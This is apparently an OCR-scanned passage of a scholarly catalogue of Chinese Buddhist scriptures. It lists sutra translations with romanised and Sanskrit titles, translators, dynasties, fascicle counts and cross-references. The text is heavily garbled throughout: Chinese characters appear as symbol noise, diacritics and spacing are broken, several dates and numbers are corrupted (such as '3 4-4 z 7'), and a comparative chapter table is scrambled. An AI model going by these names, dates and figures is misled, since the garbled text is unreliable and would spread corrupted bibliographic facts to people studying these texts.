by KumArag1va, of the LatterTshin dynasty, A. n. 3 84-417: i i leaves.The above two works are earlier translations of thethirtieth Stra of No. 23 . . K'-yuen-lu, fasc. i, fol. 3 4 a,41till"i*Fo-shwo-li-keu-sh'- n-ki. Sfltra spoken by Buddha on (the request of) the PrincessVimaladattd. 'Vimaladatt-pariprikkhft.Cone. 3 21. Translated by Ku FA-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. I fascicu-lue. This is an earlier translation of the thirty-thirdSutra of No. 23 . K'-yuen-lu, fasc. 1, fol. 3 4' b.42 '1 . : ; RRR I * 1 4 "P14Fo-shwo. -sh-shi-wftia-n--shu-t-phu-s^,-ki. Sfltra spoken by Buddha on the Bodhisattva Asokadatta, aPrincess of the King Agtasatru. 'Asokadatt&-vykarana.Cone. 3 . Translated by Ku FA-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265- 3 16. i fascicu-lus. This is an earlier translation of the thirty-secondStra of No. 23 . X'-yuen-lu, fasc. i, fol. 3 4 b.Fo-shwo-s-li-ki. Sfltra spoken by Buddha on the request of Surata. 'Surata-pariprikkhi.Conc. 53 x. Translated by Po Yen, of the W@idynasty, A. D. 220-265. 1 f ciculus.44 The same as No. 43 .Translated by . K' Sh'-lun, \of. the Former Liaidynasty, A. D. 3 02-3 76. . i faacic us. .The above two works are earlier anslations of thetwenty-seventh Stra of No. 2 3 . K'- tsi, 4%3i-fol. T5 a.'etc4325StTRA-PITAKA. 2645
Fo-shwo-zu-hwAn-san-mi-kin.Satre spoken by Buddha on the Satnadhi called Like illusion. 'Sushthitamati-pariprikka Conc. 246.MAyopama-samadhi.A. R. , p. 444 ; A. M. G. , p. 249 . . Translated by KuFi-hu (Dharmaraksha), of the Western Tsin dynasty,A. D. 265-3 16. 3 fasciculi.482XTN11116Shan-ku-i-thien-tsz'-su-wan-kitt.' Stara (spoken) on the request of the Devaputra Bushaitamati. 'Sushthitamati-pariprikkha.Translated by Phi-mu-k'(Vimokshapragfiai) togetherwith Pragtiaruki and others, of the Eastern Viri dynasty,A. D. 53 4-550. 3 fasciculi.The above two works are earlier translations of thethirty-sixth Stara of No. 23 . .K' -yuen-lu,fasc. r,fol. 3 5 a.t 01shwa-hu-kitt.'Sfitra (spoken on the request) of the Crown-Prince &Mu. 'Subtthu-pariprikkhi.Conc. 67i. Translated byKu Fi-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 5 leaves.50%to -t'it .!?(Thi-tsz'- h-hhiu-/cifi.&Ara (spoken on the reqUest) of the Crown-Prince Subahu. 'Subihu-pariprikkhit.Sfitra on the great good means asked by the BodhisattvaGianottara. 'Gfianottara-bodhisattva-pariprikkaConc. 207. Translated by Ku 116. -hu(Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 2 fasciculi.This is an earlier translation of the thirty-eighth Stitraof No. 23 . . K'-yuen-lu, fasc. x, fol. 3 5 b.53Ot$1Mrs cifthe Mahltyana on the explanation of the intellectualknowledge. 'Bhadrapila-sreshehi-paliprikkhit.Cone. 5/o. Translated by Divikara and others, ofthe Thifi dynasty, A. D. 618-9 o7. 2 fasciculi. This isa later translation of the thirty-ninth Sfitra of No. 23 .K'-yuen-lu, fasc. fol. 3 5 b. There is a preface by theEmpress Wu Ts -thien, A. D. 668-705, of the Thiiidynasty.54 #13 * 1!. ,
17,Fo-shwo-tft-shall-ftlit-tan-yito-hwui-kin.'Stara of the MahayAna-vaipulya spoken by Buddha on theimportant understanding. 'Maitreya-patiprikkha-dharroashta.Conc. 569 . Translated by In Shi-ldo, of the':ternIlan dynasty, A. D. 25-220. r leaf. This is an earliertranslation of the forty-first Sfitra of No. 23 . . K'-yuen-lu, f: :o. r, fol. 3 6 a.4927'STRA-PITAKA. 2855^^'r; ^^MI* NA Mi-l-phu-sa-su-wan-pan-yuen-ki.` SAtra on the former prayers asked by the Bodhisattva Maitreya. 'Maitreya-pariprikkh.Conc. 3 49 . Translated by Eu 11-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 9 leaves.This is an earlier translation of the forty-second Staraof No. 23 . K'- yuen-lu, fasc. i, fol. 3 6 a.56 '' --0^Ti'XISk141Tu-yi-tshi-ku-fo-ki-kie-k'- yen-ki.` SAtra on arranging. the wisdom and adornment of the placeof all Buddhas. 'Sarvabuddhavishayvatra.Wassiljew, i 6 I. Translated by Sanghapla, of theLail dynasty, A. D. 502-557. I fasciculus. Deest inTibetan. X'-yuen-lu, fasc. 3 , fol. 2 a.57SAtra of the sun and mani-jewel left by Buddha (?). 'Ksyapa-parivarta.Conc. 162. Translated by K' (Loka-r&ksha ?), of the Eastern Inn dynasty, A. D. 25-22o.1 fasciculus.58 iFo-shwo-mo-h-yen-po-yen-kirs.`SQ tra of the Mahayana spoken by Buddha on the adornmentof jewels. 'Ksyapa-parivarta.Translated under the Western or Eastern Tsindynasty, A. D. 265-42o, but the translator's name islost. i fasciculus.The above two works ye different translations ofthe forty-third Stra of No. 23 . They are wantingin Tibetan. K'-yuen-lu, fasc. i, fol. 3 6 b. But seeNo. 23 (43 ).59 JJO OT -A* ffSha-mn-sh'- t^ z'- heu-yi-sha-ta-f-pien-f-kw-ki.`Vaipulya-sAtra on the great good means, being the Srtml-simhanada. 'Sriml-devi-simhanda.Conc. 105, xo6. Translated by Gunabhadra, of theearlier Sun dynasty, A. D. 420-479 . i fasciculus. Thisis an earlier translation of the forty-eighth Shtra ofNo. 23 . K'-yuen-lu, fasc. 1, fol. 3 6 b.60 '4Phi-y-so-wan-ki.' Sara (spoken) on the request of Vysa. 'V ysa-pariprikkh.Conc. 448, 449 . Translated by Gautama Pragfz-ruki, of the Eastern Wi dynasty, A. D. 53 4-550. 2 fas-ciculi. This is . an earlier translation of the forty-ninthStra of No. 23 . Deest ' in Tibetan. K'- yuen-lu,fasc. 1, fol. 3 6 b. 'But see No. 23 (49 ) It is stated ina note at the beginning, that this translation was madein A. D. 542, and that it consists of 1 4,457 Chinesecharacters.CLASS III.TA-tsi-pu, or MahMsannip$ta Class.J^61 h' *1k 41T-f-ta-t-tsi-ki.Mahvaipulya- mahsannipata- stra.Cf. No. 72. See also Wassiljew, 162. Translated byDharmaraksha, of the Northern Libi dynasty, A. D. 3 9 7-43 9 . 4 parts ; 3 o fasciculi. It agrees with Tibetan,but part i, chapters 6, 7 are wanting in the latter.K'-yuen-lu, fasc. 2, fol, 2 a.62 A. ** h 11 G41Ti-shall-t&-fait-tan-zih-tsa-kin.Mah ay fna-m ah vaipuly a- sAryagarbha-stra. 'Sryagarbha-stra.K'-yuen-lu, fasc. 2, fol. 2 b ; Conc. 609 ; Wassiljew,168 ; A. R, p. 465 ; A. M. G. , p. 269 . Translated byNare rayasas, of thedynasty, A. D. 589 -618.10 fascicu 1. later and fuller translation ofthe fourth part of No. 6x. K'-yuen-lu, s. v.29SrtTTRA-PITAKA. 3 063 T-fan-tan-t-tsi-yueh-ts n-ki.Mahvaipulya-mahsannipta-kandragarbha-stra. 'Kandragarbha -vaipuilya.Conc. 6559 ; Wassiljew, 169 . Translated by Naren-drayasas (the same person as before), under the NorthernTsi dynasty, A. D. 55o-577. io fasciculi. It agrees withTibetan. K'- Yuen-lu, fasc. 2, fol. 2 b.64 %C r jC lkA 1':,,T-sha-t-tsi-ti-ts-shi-lun-kin.' Mahayana-mahsannipta-kshitigarbha-dasakakra-sAtra. 'Da skakra-kshitigarbha.K' - yuen-lu, fasc. 2, fol. 3 a; Conc. 59 3 ; Wassiljew,i 7o ; A. R. , p. 462 ; A. M. G. , p. 266. Translated byHhen-kwfi, A. D. 65x, of the Th1i dynasty, A. D. 6 i 89 07. 10 fasciculi ; 8 chapters.65 -R *; Fo-shwo-t-f-kwn-shi-lun-ki.'Mahvaipulya-stra spoken by Buddha on the ten wheels (ofthe Bodhisattva Kshitigarbha). 'Dasakakra-kshitigarbha.Conc. 598. . Translated under the Northern Liaidynasty, A. D. 3 9 7-43 9 , but the translator's name is lost.8 fasciculi; 15 chapters. This is an earlier and shorter'translation of No. 64, which latter agrees with Tibetan.K'-yuen-lu, fasc. 2, fol. 3 a.66T-tsi-sit-mi-ts -ki.' Mahsannipta-sumerugarbha-stra.Sumerugarbha.Conc. 587. See also Wassiljew, 171. Translated byNarendrayasas together with Fi-k' (Dharmapraga), ofthe Northern Tai dynasty, A. D. 550-577 . 2 fasciuli;4'chapters.zP ^Hh-khu-yn-phu-sa-ki.kaagarbb a-bodhisattva-stra.ksagarbha-stra.K'- yuen-lu, fasc. 2, fol. 3 ; Conc. 19 6 ; Wassiljew,171; A. R. , p. 466 ; A. M. G. , p. 270. Translated byOOinagupta, of the Sui dynasty, A. D. 589 -618.2 fasciculi.68%4 Gksagarbha-bodhisattva-stra.Hhix-khun-tsn-phu-sa-ki.K'- yuen-lu, fasc. 2, fol. 3 b; Conc. 1 9 4. Translatedby Buddhayasas, of the Latter Tshin dynasty, A. D.1 fasciculus.3 84-417.69Hh-khun-ts. -phu-s-shan-kheu-ki.ksagarbha-bodhisattva-dharani-stra.Conc. 19 5. Translated by Dharmamitra, of theearlier Sufi dynasty, A. D. 420-479 . z fasciculus.The above three works are translations of the sameor similar text, and agree with Tibetan. K'- yuen-lu,fasc. 2, fol. 4 a.70Kw-hh-khu-ts-phu-s-ki.' ksagarbha-bodhisattva-dhy&na-stra (?):Translated by Dharmamitra, of the earlierdynasty, A. D. 420-47 9. 3 leaves.71
9e,Fo-shwo-teu-sha-ki.Stitra spoken by Buddha on the TatUgata-viseshana (? thenames or epithets of the Tathagata). 'Translated by X' Leu-kii-khan (Lokaraksha I), of theEastern Han dynasty, A. D. 25-22o. 6 leaves. This isan earlier and shorter translation of chap. 3 on theepithets of the Tathagata' of No. 87, and of chap. 7 ofNo. 88. K'-yuen-lu, fasc. 2, fol. xi a.103 k +'Malavaipulya-bodhisattva-dasabhilmi-stitra. 'Translated by Ki-kii-y and Thin -yio, of theNorthern Wei. dynasty, A. D. 3 86-53 4. 8 leaves.This is a later translation of No. 9 9 . K' - yuen-lu,fasc. 2, fol. I i a.104NI 41Tu-shi-phin-kin.'Stara of the chapter on going across the world. 'Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265 3 16. 6 fasciculi.This is an earlier translation of chap. 3 3 on the Isepa-ration from the world' of No. 87, and chap. 3 8 of No. 88.K'-yuen-lu, fase. 2, fol. 13 a.105+ gDasabhmika-stra.Cf. K'- yuen-lu, fasc. 2, fol. 14 a; Conc. 9 o. Cf. alsoDasablrimtsvara, in Catalogue of the Hodgson Manu-scripts, 1. 3 ; III. 1; V. 55 ; VI. 5; VII. i 4. Translated byKurairagiva togethenwith Buddhayasas, of the LatterTshin dynasty, A. D. 3 4-4 z 7. 6 fasciculi. This is asimilar translation of chap. 22 on the Dasabhiimi' ofNo. 87, and, chap. 26 'of No. 88. K'-yuen-lu, fasc. 2,fol. i 2 a.106Fo-shwo-10-mo-ki8-kit.'Stara spoken by Buddha on Rmaka (? the name of a man):Translated 'by Shan -kien, of the Western Tshindynasty; A. D. 3 85-43 4 fasciculi. This is an in-complete translation of chap. 3 4 of No. 87, and chap. 3 9of No. 88. K'-yuen-lu, fasc. 2, fol. 13 a.107*gKu-phu-A-khiu-fo-pan-yeh-kin.Siltra on the original actions ( he Bodhisattvas who areseeking the state of Buddha. 'Translated by Nieh Tio-kan, of the Western Tsindynasty, A. D. 265-3 16. 12 leaves. This is a latertranslation of No. ioo.108 41'411StItra of the chapter oil the way of practice in the ten dwellingsor stations (not the Dasablrami, but still inferior) of theBodhisattva. 'Translated by Ku Fi -hu (Dbarmaraksba), of, theWestern Tsin dynasty, A. D. 265-3 16. 9 leaves.1 09
. 1 - ft7-F # -Cara spoken by Buddha on the ten stations of the Bodhisattva. 'Translated by Gltamitra, of the Eastern' Tsin dynasty,A. D. 3 17-420. 5 leaves.The above two works are similar translations ofchap. i r on the "ten stations' (lower than the Dasa-bhhmi) of No. 87, and chap. i5 of No. 88. K'-yuen-lu,fasc. 2, fol. i b.1 1 0ViftTsien-pi-yi-tshi-k'- th-kin.' Stara on making gradually complete all the wisdom and virtue. 'Dasabhmika-stra.Cf. No. 105. Translated by Ku Fi-hu (Dharma-raksha), of the Wcctern Tsin dynasty, A. D. 265-3 16.5 fasciculi. This is an . earlier translation of No. ion.K'-yuen-lu, fasc. g, fol.3 9 StTRA-PITAKA. 40111 $. 1Tan-mu-phu-sa-su-wan-sin-mi-kin.` Sara on a Samdhi asked by the Bodhisattva Samakakshus(? " equal-eye"). 'Translated by Ku Fi-bu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 3 fasciculi. Thisis an . earlier translation of. cheater 24 on the ' Dasa-samdhi' of No. 87, and chapter 27 of No. 88. K'-yuen-lu, fasc. 2, fol. 12 a.1 1 2 = cWan-shu-sh'-li-wan-phu-s-shu-kiii.Satra on the office of the Bodhisattva asked by Mayusrt. 'Translated by K' Leu-kia-khn (Lokaraksha I), of theEastern Han dynasty, A. D. 25-220. I fa@ciculus.CLASS V.Ni-phn-pu, or Nirvana Class.113 *T-pn-ni-phn-ki.Mahparinirvna-stetra.Conc. 64o. Cf. A. E. , pp. 441, 487; A. M. G. , pp,2 47, 29 0. Translated by Dharmaraksha, A. D. 423 , ofthe Northern Lan dynasty, A. D. 3 9 7-43 . 9 4o fas-ciculi ; 13 chapters It agrees with Tibetan. K'-yuen-lu, fasc. 2, fol. 14 b. Apartial English , translation offasc. 12 and 3 9 , by Beal, in his Catena of BuddhistScriptures from the' Chinese, pp. i6o -188.t 114 :O. 7 jCgNin-pan-t- pan-nie-phn-kin.` Southern book of the 'Mahaparinirvna-antra.This is a revision of No. i 1 3 , made in Kien-yeh, themodern Nankin, or the , Southern Capital,' by twoChinese Sramanas, Hwui-yen and Hwui-kwan, and aliterary man, Sie Liai-yun, A. D. . 424-453 ,of the earlierSun dynasty, A. D. 420-479 . 3 6 fasciculi; 25 chapters.This revision depends on No. 120. K'-yuen. lu; fasc. 2,fol. 14. b. No. 113 is sometimes called the it 4 Pe-pan, or the Northern Book, when it is comparedwith its revision, the Southern Book, No. 114.115 Agn1.11. -pan-ni-phn kin-heu-fan.Latter part of the Mahparinirvna-sfltr^ ,'Translated b Ganabhadra together with Hwui-ni and others, of the Than dynasty, A. D. 618-9 07.2 fasciculi ; 4 chapters and, a half, i. e. a continuation ofthe last chapter of Nos. 113 , 114. It, agrees with Tibe-tan (?). K'-yuen-lu, fuse. 2, fol. 15 a, where howeverthe most important character is written wrongly, soit means literally ` Deest (for Agrees?) with Tibetan,'(for 1 4 ` l).116Fo-shwo-fn-tan-pin-ni-yen-kin.Vaipulya-parinirvna-stra spoken by Buddha. 'Katurdaraka-samdhi-stra.Conc. 15o. Translated by Ku Fa-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 2 fasciculi;9 chapters: It agrees with Tibetan. K'-yuen-lu, fasc. 2,fol. 15 b.117* 41T-pi-kin.' Mahftk runika-stra.Mahkarun pndarlka-stra.K'-yuen-lu,. fasc. 2, fol. 16 a; Conc. 644 ; A. R. , 43 3 ;A. M. G. , p. 23 9 . Translated by Narendraya as toge-ther with Fa-k' (Dharmapraga), f the Nort ern Tshidynasty, A. D: 55o-577 . 5 fasciculi; 13 chapters.It agrees with Tibetan. K'=yuen-lu, s. v.118"; ^'n,^^-T-pn-ni-phnkin.Mahparinirvna- ^ tra.K'- yuen-lu, fasc. 6, fol. 20 a; Conc. 63 9 . . Trans-lated by Fa-hhien (Fa-hian), of the EasternTsi dynasty,A. D. 3 17 -424. 3 fasciculi.119 . :pFo-shwo-fn-tan-ni-yuen-kin.Vaipulya-nirvna-str spoken by Buddha. 'Mahparinirvana-stra.Translated under the Eastern Tsin dynasty, A. D. -3 17-420 ; but the translator's name 'is lost. 2 fas-ciculi.The above two works are different translations ofthe second Stra on the ' walking for pleasure,' or the t87;122, '^^, ^^. "t:W^^IIFo -khui-pn-ni-phn-lio-shwo-kio-ki-kin.Sutra of teaching spoken briefly by Buddha just before hisentering Parinirvana.41 STRA-PITAKA.42 .Vihra (l), in the Drgligama, No. 545, and also N0,552 ;and they agree with Tibetan. K'-yuen-lu,fasc. 6,fol. 20 a,where Nos. 118, 1 . 1 9 are accordingly arranged properlyunder the heading of the Sfitras of the Hnayna, as theone before, and the other after No. 552. No. 118 omitsthe first part of No. 119 , though the former is. muchlonger than the latter. Nos. 118, 1 1 9, 545 (2), and552 are also to be compared with the Pli text of theMahparinibbna-suttanta ; for which latter, see theSacred Books of the East, vol. xi.120*.T-pn-ni-yuen-kin.Mahparinirvn a-stra.K'-yuen-lu, fase. 2, fol. 15 a. Translated by F-hhien(Fa-hian) together with Buddhabhadra, of the EasternTsui dynasty, A. D. 3 17-420. 6 fasciculi; 18 chapters.This is a similar and incomplete translation of Nos. 113 ,K'-yuen-lu, s. v.121,4Sz'- thon-tsz'- sn-mi-kin.Katurdraka- sarnadhi-stra.K'- yuen-lu, fasc. . 2, fol. 15 b ; Conc. 555. Cf. A. R. ,P. 444 ; A. M. G. , p. 250, Translated by Giinagupta,of the Sui dynasty, A. D. 58 9 -618. 3 fasciculi ; 6 chap-ters. . . This is a later and incomplete translation ofNo. 116. K . -yuen-lop s. v.Translated by Kumragva, of the Latter Tsbindynasty, A. D. 3 4-41 7. 7 leaves.1 23Fo-lin-ni-phn- ki. -f-ku-kin.`Sutra on the duration of the law foretold by Buddha justbefore his entering Nirvana. 'Mahparinirvna.A. R. ; p. 442 ; A. M. G. , p. 247. Translated byHhen-kw (Hiouen-thsang), of the Th dynasty,A. D. 618-9 07. 5 leaves. . It agrees with Tibetan.K'-yuen-lu, fuse. 4, fol. 3 a.124 f. :'J,Fo-mieh-tu-heu-kw n-lien-tsii-suri-kiwi.'Sara on (the rules for) putting the body into the coffin andsending it in the funeral after'Buddha's entering Nirvana. ' -Translated under 41 Western Tsin dynasty, A. D. 265-3 16 ; but the translator's name is lost. 3 leaves. Deestin Tibetan. K'- yuen-lu, fasc. 7, fol, 2 3 b, where thiswork ip mentioned under the heading ' of the Strasof the Hnayna.125 Pn-ni-yuen-heu-kwn-l-h in.Stara on the rules for two annual festivals to be held afterBuddha's entering Parinirvna. 'Translated by Ku F-hu (Dharmaraksha); of theWestern Tsin dynasty, A. D. 265-3 16. 2 leaves. The two'annual festivals are : 1 . In 4th month, 8th day, i. e.anniversary of Buddha's birth; 2. In '7th month, r 5thday, i. e. one day before the end of summer. .114.CLASS VI.'J{{^Wu-t- u-wi- k113t - yr-kin,duplicate translations, excluded from the preceding five Classes.126 IA J'
127JKin-kwn-min-tsui-shah-wn-kin.
Kin-1 wn-min-kin.Suvarnaprabhasottamarga- stra.
"to!141Mio-fa-lien-hw-ki-kw-shi-yin-phu-s -phu-man-phin-ki.' Sutra of the chapter on the Samantamukha of the BodhisattvaAvalokitesvara, in the Saddharmapundarka-sutra.'Avalokitesvara-bodhisattva-samantamukha-parivarta, of the Saddharmapundarka.The portion of prose was translated by Kumragtva,of the Latter Tshin dynasty, A. D. 3 84-417; and that ofthe Gths, by G' &nagupta, of the Northern Keu dynasty,A. D. 557-589 . (Thu-ki, fasc. 4, fol. 13 a. ) 7 leaves.No. 1 3 8. No. 13 4. No. 13 .II2 2 23 ' 3 34 4 45. 3 56 6 67 78 8 89IO 10. 10II, I2 d I, ^I 2 II}45S'TRA-PITAKA. 46This is chap. 25 of No. 13 4, in which latter howeverthere is no such distinction, as the Gths were trans-lated at a later time. An incomplete English trans-lation by Beal, in his Catena of Buddhist Scripturesfrom the Chinese, pp 3 89 -3 9 6. There i^ a preface, bythe Emperor Khali-tsu, of the Min dynasty, datedA. D: 141 I-13 8.
I t:, M * 41Ka-f-hw-ki.Saddharmapundarka-s{tra.Coi c. 69 3 . Translated byKu 11-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 I 6. 1 o fas-ciculi; 28 chapters. . This is an earlier translation ofNo. 13 4. K'-yuen-lu, fasc. 2, fol. 17 b.13 9 M pp 10 9 . . -. V 41Thien-phin-mio-f-lien-hw-ki.Saddharmapundarika-stra with additional chanters (or sections ' and passages).'Saddharmapundarika-stra. Conc. 744. Translated by 6 i&nagupta'and ,Dharma-gupta, A. D. 6o i. , of the Sui dynasty, A. D. 589 -618. 8 fas-ciculi; 27 chapters. There is an interesting preface byone who seems actually to have taken part in the trans-lation. H writes : ' The translations of Ku 11-hu,No. 13 8, and Kumngtva, No . 13 4, are most probablymade from two different texts. In the repository ofthe Canon, I (the author of the preface) have seen twotexts (or copies of the text, of the- Saddharmapundartka) ;one is written on the palm-leaves, and` the other in theletters of Kwei-tsz', or Kharakar, Kumragtva's maternalcountry. The former text exactly, agrees with No. 13 8,and the latter with No. 13 4. No. 13 8 omits . only . theGths of the Samantamukha-parivarta,. chap. 24. ButNo. 13 4 omits half of the Oshadhi-parivarta, chap. 5,the beginning of the Pakabhik^ husatavykarana-pari-varta, chap; 8, and that of the Saddharmabhnaka-pa-rivarta, chap. I o, and the Gths of the `t Devadatta-parivarta," chap. 12, and those of the Samantamukha-parivarta, chap. 25. ' Moreover, No. 13 4 puts theDharmaparyya - parivarta (the last chapter of theStra) before the Bhaishagyarga-parivarta, chap. 23 .Nos. 13 8 and 13 4 both place the Dhrant-parivartanext to the Samantamukha-parivarta, chaps, 24 and 25respectively. Beside these, there are- minor differencesbetween the text and translation. The omission of theGths in No. 13 4, chaps. 12 and, 25, have since beenfilled in by some wise men, whose example I wishto follow. ' In the first year of the Zan-sheu period,A. D. 601, I, together with Gfanagupta and Dharma-gupta, have examined the, palm-leaf text, at therequest of a Srmana, Shan-hhin, and found thatthe beginning of two chapters, 8th and loth, arealso wanting in the text (though No. 1 3 8 containsthem). Nevertheless we have increased a half of the5th chapter, and put the 12th chapter into the I Ith, andrestored the Dhrani-parivarta and Dharmeparyya-parivarta to their proper order, as chaps. 21 and 27.There are also some words and passages which havebeen altered , (while the greater part of No. 13 4 is.retained). . The reader is requested not to have anysuspicion about these differences. ' No. 13 9 is there-fore a later translation of Nos. 13 4, 13 8. Cf. K'-yuen-lu, fasc. 2, fol. 17 b. The following is a comparativetable, of the order of chapters of these three translationsof the Saddharmapundarika, with the Sanskrit titles of27 chapters, taken from two MSS. in Paris, as I men-tioned in the Catalogue . of the Hodgson Manuscripts,III. 27, 28 :SANSKRIT.(j) NidAna-parivarta(2) Upyakausalya(3 ) Aupamya,'(4) Adhimukti(5) Oshadhi(6) Vyakarana(7) Parvayoga(8) Pakabhikshusatavykarana(9 ) nanda-rahulbhyam nye-sham ka dvabhym bhi-kshusahasrabhyam vyka-rana(io) Saddharmabhnaka(i 1) Stiipasandarsana(I2) Utsaha(13 ) Sukhavihra(14) Bodhivriksha-prithivlviva-ra-samudgama, or Bodhi-sattva-prithivi1(is) Tathagatayushapramana(i6) Punyaparyay(17) Anumodanapunyanirdesa(i8)' Dharmabhanakanusams-shadayatanavisuddhi(19 ) Sadaparibhta(2o) , Tathgatarddhyabhisam-skara(2x) Dharani(22) Bhaishagyarga(23 ) Gagadasvara (?)(Maigalasvara ?)(24) Samantamukha - parivartaAvalokitesvaravikurvananirdesa(25) SSIbhavyQ hapdxvayoga(26) Samantabhadrotsh(27) Dharmapai+ yaya1 No. 13 8 confirms the latter reading, but Nos. 13 4, 13 9 mentionneither the Bodhivriksha nor. the Bodhisattva.}}}}}13J31214 i413 .1514'16 16 x517 17 16,1818 . 1729 19 '1820 20 192 1 2I 20,25 26 _ 2122 23 2 223'423252426 27 2527 28 "26'.28 22 2747SUTRA-TTTAKA. 48140vita^ 'iii }- it P9 JFan-pieh-yuen- khi-khu-sha-f-man-ki.' Sfltra of explaining the first and excellent gate of the law ofNidna. 'Translated by Hhen-kw (Hiouen-thsang), of theTh dynasty, A. D. 618- 9 07. 2 fasciculi.^41^. : ^>,, Fo-shwo-Yuen-sha-/chu-shad-fan-5,-pan-triai:`Sutra spoken by Buddha on the origin of the law being thefirst and excellent part of Nidrana.Translated by Dharmagupta, of the Sui dynasty, A. D.589 -618. 2 fasciculi. This is an earlier translationof No. 140. K'-Yuen-lu, fasc. 2;. fol. 24 b.1 42 uPei-hwa-k1.Karunpundarka-stra.K'- yuen-lu, face. z, fol. 18 b; Conc. 43 1; A. R. ,P. 436 ; A. M. G. , p. . 242 ; Wassiljew, 154. Translatedby Dharmaraksha, of the Northern Li dynasty, A. D.3 9 7-43 9 . . 10 fasciculi; . 6 chapters. It agrees withTibetan. K'-yuen-lit, s. v. For the. Sanskrit text, soeCatalogue of the Hodgson Manuscripts, I. 21; V. 42 ;VI. 18; VII. 3 4.143 ,ANA41Linz-to-tsi-ki.` Shatpramit-sannipta-stra. 'Translated by Khan San-hwui, of the Wu dynasty,A. D. 222-280. 8 fasciculi. 'There are three prefaces,by three Chinese, named Kan Wan-ku, Vii Shun-hhi,and Milli Zih-hwhei, dated A. D. 159 0, 1589 , and 1588respectively. The third man edited this Siitra, wishingthe long life of bis parents by the merit of this goodaction. Deest in Tibetan. K'-yuen-lu, fasc. 3 , fol, 5 b.It contains many Gtakas. 144AOT-sha-ti-w-ki.` Malik/ na-inftrddharga-stra. 'Vimalakrtti-nirdesa.Conc. 59 4. Translated by Upasnya, of the Liaaldynasty, A. D. 502-557. i fasciculus.145T-f-ta-ti-w-ki.' Mahvaipulya-m{irddharga-sutra.Vimalakrtti-nirdesa.Conc. 616. Translated by Ku Fa-hu (Dharmaraksha),Fthe Western Tsin dynasty, A. D. 265-3 16. x fasciculus.This is an earlier translation of No. 144. K'-Yuen-lu,face. 2, fol. 18 b.146 fit M p J It gWei-mo-khie-su-shwo-ki.Vim alaklrtti-nirdesa-stra. 'Vimalakrtti-nirdesa.A. R. , p. 451 ; A. M. G. , p, 256 ; Conc. 788 ; Was-siljew, 152. Translated by Kumragva, of the LatterTshin dynasty, A. D. 3 -4-4. 1 7 . 3 fasciculi; . 1 4 chapters.It agrees with Tibetan. K'-yuen-lu, fasc. 2, fol. 18 a.VV imalaklrtti-stra. 'Viin alakirtti-nirdesa.Conc. 789 . Translated by K' Khieu, of 'the Wudynasty, A. D. 222-280. 3 fasciculi; 4 chapters. Thisis an earlier translation of *No. 46. K'-yuen-lu,fasc. 2, fol. 18 a.148 ANIk It 4Tao-shah-tsu-wu-ki-pien-hw-kin.`Sutra on the unlimited changes of the supernatural footsteps. 'Translated by n Fa .. . Min, of the Western Tsindynasty, A. D. 265--3 16. 4 fasciculi. Deest in Tibetan;K'-yuen-lu, fasc. 2, fol. 20 a.Shwo-wu-keu- khan-triai.Vimalakrtti-nirdesa. Cone. 121. Translated by Hhen-kw (Mouethsang), of the Than dynasty, A. D. 618--9 07. 6 faseeuli ; 1 4 chapters. This is a later translation of Nos.146 and 1 , 47. K'-yuen-lu, fasc. 2, fb 18 a.150'"g-wi-yueh-k' -Ic- ki.Avaivarttya (?)- stra.K'-yuen-lu, fasc. 2, fol. 20 b.Aparivarttya-sutra.Conc. 40. Translated by Ku Fa-hu (Dharmaraksha), of the Western Tsin dynasty, A. D. 265-3 16. 4 fasciculi;18 chapters. It agrees with Tibetan. K'-yuen-lu, s. v.151Sr-4Fo-shwo-po-y- k1.Ratnavarsha-sfltra spoken by Buddha. ' Ratnamegha-sfitra.K'-yuen-lu, fpSC. 2, fol. 20 a ; Cone. 421 ; A. R. ,p. 46a; A. M. G. , p. 264. Translated by Dharmaruki147149 [a^ /I1\49SlATTRA-PITAKA. 50(i. e. the first name of Bodhiruki), A. D. 69 3 , of the TWAdynasty, A. D. 618-9 07. z o fasciculi. It agrees withTibetan. K'-yuen-lu, s. v.1 52 :^Fo-shwo-po-yun-ki.Ratnainegha-stra.Conc. 423 . . Translated by Mandra and Sanghapla,A. D. 503 , of the Lin dynasty, A. D. 502-557 . 7 fasciculi.This is an earlier translation of the preceding Stra.K'-yuen-lu, fasc. 2, fol. 20 b.153 10 ? -f42 a lrFo-sha-tao-li-then-wi-mu-shwo-f-ki.` Stltra of Buddha's ascension to the Trayastrinsa heaven to preachthe law for his mother's sake. 'Translated by Ku Fi-hu (Dharmaraksha), circa A. D.270, of the Western Tsin dynasty, A. D. 265-3 16. 3 fas-ciculi. This is a similar translation Of No. 148. . K'-yuen-lu, fasc. 2, fol. 20 a.1 54 f JR ita NVT 0Si-suh-ki-tho-ti-po-lo-mi-lio-i-kizz.Sandhi nirmokanahhumi-paramita-satydrtha. . sutra. 'Sandhinirmokana-stra.Conc. 51 9 , 520. Translated by Gunabhadra, of theearlier Sun dynasty, A. D. 420-479. 13 leaves. This isan earlier translation of the last two chapters of No.247. K'-yuen-lu, fasc. 2, fol. 24 a.155 ill iffl 1 U gi ifJISi- suh-ki-tho-m- lai-su-tso-sui-shun-kleu-lio-i-ki.' Sandhinirmokana-tathigatakritynuvishaya-satyi rtha-sutra. 'Sandhinirmokana-stra.Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 . 9 leaves. This is an earlier translationof the fourth and fifth fasciculi of No. 247 . . See noteunder the title of this translation'.1 56TAqFo-shwo-ki-tsi-Ici.Sandhinirmokana-stra.Conc. 27 9 . Translated by Paramrtha, of the Khandynasty, A. D. 557-589 . 1 fasciculus. ; 4 chapters. Thisis an earlier translation of the first' five chapters ofNo. 247. K'-yuen-lu, fasc. 2, fol. 24 a.1 57 '. 7Pu-that-kwii-f-lun-ki.' Avivartita-dharmakakra-sutra. 'Avaiyartya (?) - stra.K'-yuen-lu, fast. 2, fol. 20 h.Aparivartya-stra.Cone. 501. Translated under the Northern Litidynasty, A. D. 3 9 7-43 9 ; but the translator's name is notknown. 4 fasciculi ; 9 chapters.158 Ati- M il9 * Z 44 'Kw-poh-yen-tsi- pu-thui-kw-f-lun-ki.' 